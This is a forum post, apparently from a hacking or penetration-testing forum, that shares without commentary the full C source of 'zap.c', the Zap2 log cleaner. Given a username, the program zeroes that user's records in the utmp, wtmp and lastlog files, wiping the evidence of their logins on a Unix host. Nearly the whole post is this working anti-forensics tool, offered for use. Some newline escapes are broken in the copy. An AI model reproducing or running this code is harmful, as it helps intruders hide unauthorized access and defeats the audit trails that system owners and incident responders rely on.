Jump to content
¯\_( ツ)_/¯
  • TAD GROUP are currently hiring penetration testers. Please read the topic in Career Central subforum.
  • Sponsored Ad
Sign in to follow this  
chapoblan

zap.c log cleaner

Recommended Posts

Цитат

#include <sys/types.h> 
#include <stdio.h> 
#include <unistd.h> 
#include <sys/file.h> 
#include <fcntl.h> 
#include <utmp.h> 
#include <pwd.h> 
#include <lastlog.h> 
#define WTMP_NAME "/usr/adm/wtmp" 
#define UTMP_NAME "/etc/utmp" 
#define LASTLOG_NAME "/usr/adm/lastlog" 

int f; 

void kill_utmp(who) 
char *who; 
{ 
	struct utmp utmp_ent; 
	
	if ((f=open(UTMP_NAME,O_RDWR))>=0) { 
		while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) 
			if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { 
				bzero((char *)&utmp_ent,sizeof( utmp_ent )); 
				lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); 
				write (f, &utmp_ent, sizeof (utmp_ent)); 
			} 
			close(f); 
	} 
} 

void kill_wtmp(who) 
char *who; 
{ 
	struct utmp utmp_ent; 
	long pos; 
	
	pos = 1L; 
	if ((f=open(WTMP_NAME,O_RDWR))>=0) { 
		
		while(pos != -1L) { 
			lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); 
			if (read (f, &utmp_ent, sizeof (struct utmp))<0) { 
				pos = -1L; 
			} else { 
				if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { 
					bzero((char *)&utmp_ent,sizeof(struct utmp )); 
					lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); 
					write (f, &utmp_ent, sizeof (utmp_ent)); 
					pos = -1L; 
				} else pos += 1L; 
			} 
		} 
		close(f); 
	} 
} 

void kill_lastlog(who) 
char *who; 
{ 
	struct passwd *pwd; 
	struct lastlog newll; 
	
	if ((pwd=getpwnam(who))!=NULL) { 
		
		if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { 
			lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); 
			bzero((char *)&newll,sizeof( newll )); 
			write(f, (char *)&newll, sizeof( newll )); 
			close(f); 
		} 
		
	} else printf("%s: ?n",who); 
} 

main(argc,argv) 
int argc; 
char *argv[]; 
{ 
	if (argc==2) { 
		kill_lastlog(argv[1]); 
		kill_wtmp(argv[1]); 
		kill_utmp(argv[1]); 
		printf("Zap2!n"); 
	} else 
		printf("Error.n"); 
}

Share this post


Link to post
Share on other sites
Sign in to follow this  

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...

Important Information

By using this site, you agree to our Terms of Use. We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.